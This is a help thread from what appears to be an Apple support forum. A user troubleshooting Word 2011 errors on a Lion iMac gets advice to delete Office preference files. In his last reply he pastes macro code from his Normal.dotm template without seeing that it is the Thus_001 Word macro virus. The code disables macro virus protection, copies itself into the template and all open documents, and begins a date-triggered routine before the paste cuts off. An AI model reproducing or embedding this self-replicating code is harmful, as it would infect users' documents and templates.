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Moving to a new user on my iMac

I've been having problems with Microsoft Word on my iMac (that is running Lion). All sorts of error messages pop up and the program is basically useless to me. In speaking with microsoft they did some troubleshooting and couldn't figure it out, but then suggested I try creating a new user on my iMac and seeing if I had any problems with word under the new user. That solved the problem. So i'd like to move my iTunes, iPhoto, files, etc to a new user on my iMac and then delete the old user account. I've found a lot of info online about transfering a user account to another mac, but i'm not wanting to transfer my user account. I just want to set a whole new user and start fresh, but bring over my iTunes library, iPhoto, etc. Can anyone point me in the right direction?


Jeff

Posted on Jan 1, 2012 2:59 PM

Reply
7 replies

Jan 1, 2012 5:32 PM in response to sig

It's Microsoft Office: mac 2011. But that being said, as I mentioned in my post, I already spoke with Microsoft and they couldn't figure out the issue under my current user account. But office works just fine under a new user on my iMac. So at this point i'm not trying to solve any microsoft issues, i'm trying to figure out how to transfer itunes, iphoto, etc over to a new user. Microsoft won't be of much help with that.

Jan 1, 2012 5:54 PM in response to jbrown27

If you copy all your user files to a new account, you will have exactly the same problems in the new account. The simplest solution would be to delete all your Microsoft Office settings files and start fresh. I don't use Office so I can't tell you where those files are. You should be able to find that out either from the documentation, from MS tech support, or from its user forums.

Jan 1, 2012 7:31 PM in response to Linc Davis

Those files are in your Documents folder in Microsoft User Data.

Try moving that folder to your desktop, delete these two files from your user/Library/Preferences folder:

com.microsoft.Word.plist

com.microsoft.Word.prefs.plist

Start Word, and see if that fixes it.


If you use Outlook, that data is stored inside that folder. We can move it back in if this fixes it.


If that doesn't help, what are some of the error messages you are getting?

Jan 6, 2012 6:04 PM in response to Barney-15E

I moved the Microsoft User Data folder to the desktop and deleted the two files you mentioned and then opened Word but it didn't fix it. I get all sorts of things that pop up in Word:


-A window that says Microsoft Visual Basic at the top and below it says "This Command will stop debugger"


-I get a box that says "Compile error: method or data member not found


-I get a big window that at the top says Normal.dotm-ThisDocument (code) and then has all this in the window:

Private Sub Document_Open()

'Thus_001'

On Error Resume Next

Application.Options.VirusProtection = False

If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'Thus_001'" Then

NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _

.Deletelines 1, NormalTemplate.VBProject.VBComponents.Item(1) _

.CodeModule.CountOfLines

End If

If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then

NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _

.Insertlines 1, ActiveDocument.VBProject.VBComponents.Item(1) _

.CodeModule.Lines(1, ActiveDocument.VBProject.VBComponents _

.Item(1).CodeModule.CountOfLines)

End If

If NormalTemplate.Saved = False Then NormalTemplate.Save

For k = 1 To Application.Documents.Count

If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(2 , 1) <> "'Thus_001'" Then

Application.Documents.Item(k).VBProject.VBComponents.Item(1) _

.CodeModule.Deletelines 1, Application.Documents.Item(k) _

.VBProject.VBComponents.Item(1).CodeModule.CountOfLines

End If

If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.CountOf Lines = 0 Then

Application.Documents.Item(k).VBProject.VBComponents.Item(1) _

.CodeModule.Insertlines 1, NormalTemplate.VBProject.VBComponents _

.Item(1).CodeModule.Lines(1, NormalTemplate.VBProject _

.VBComponents.Item(1).CodeModule.CountOfLines)

End If

Next k

If (Day(Now()) = 13) And (Month(Now()) = 12) Then

With Application.FileSearch

.NewSearch

Moving to a new user on my iMac

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